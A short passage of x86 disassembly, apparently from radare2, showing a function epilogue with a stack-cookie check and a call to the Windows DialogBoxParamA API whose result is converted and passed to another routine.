mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00429c0c
mov esp, ebp
pop ebp
ret 0x10
call fcn.00419aa0
push 0
push 0x425100
push 0
push 0xc9
push dword [0x4a3c9c]
call dword [sym.imp.USER32.dll_DialogBoxParamA]
dec eax
neg eax
sbb eax, eax
neg eax
push eax
call fcn.004269d0
int3